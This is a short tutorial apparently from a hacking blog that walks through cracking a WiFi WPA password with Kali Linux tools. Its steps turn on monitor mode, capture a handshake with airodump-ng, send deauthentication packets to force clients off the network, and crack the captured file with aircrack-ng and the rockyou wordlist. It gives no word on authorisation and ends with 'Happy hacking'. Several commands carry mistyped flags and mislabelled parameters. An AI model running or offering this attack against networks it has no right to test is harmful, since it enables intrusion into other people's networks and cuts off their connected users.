How to crack WiFi Password

How to crack WiFi Password

Hello friends in this tutorial we are going to learn how we to crack a WiFi password

Note: for this tutorial we need wireless WiFi adapter with monitor mode


Kali Linux

Wireless WiFi adapter with monitor mode


  1. First of all copy the rockyou text file present in the usr/share/wordlists/rockyou.txt.gz (By default will be present in the Kali Linux)

      2. Enable Monitor mode

 Type airmon-ng to see the list of WiFi adapter

Enable monitor mode by typing airmon-ng start <wificardname>

Type airodump-ng <wificardname>

In this example we are going to choose ‘test’ network to attack

Type airodump –ng -c <channel of the wifi> –write<filelocation>/filename –bssid <id of the WiFi><interface>

This will display the all client that connected to the WiFi

Open another terminal window

Type aireplay-ng –deauth 5 –a <ssid> <wifiname>

To crack the password type:

sudo aircrack-ng –a2 –b <ssid> -w /root/Desktop/rockyou.txt /root/Desktop/hack-01.cap

For the simplicity of this tutorial,  I had the WiFi password as ‘password’ for educational purpose and so that it can be easily cracked.  The process of cracking password may take much more time depending on the complexity of the network password.

Happy hacking

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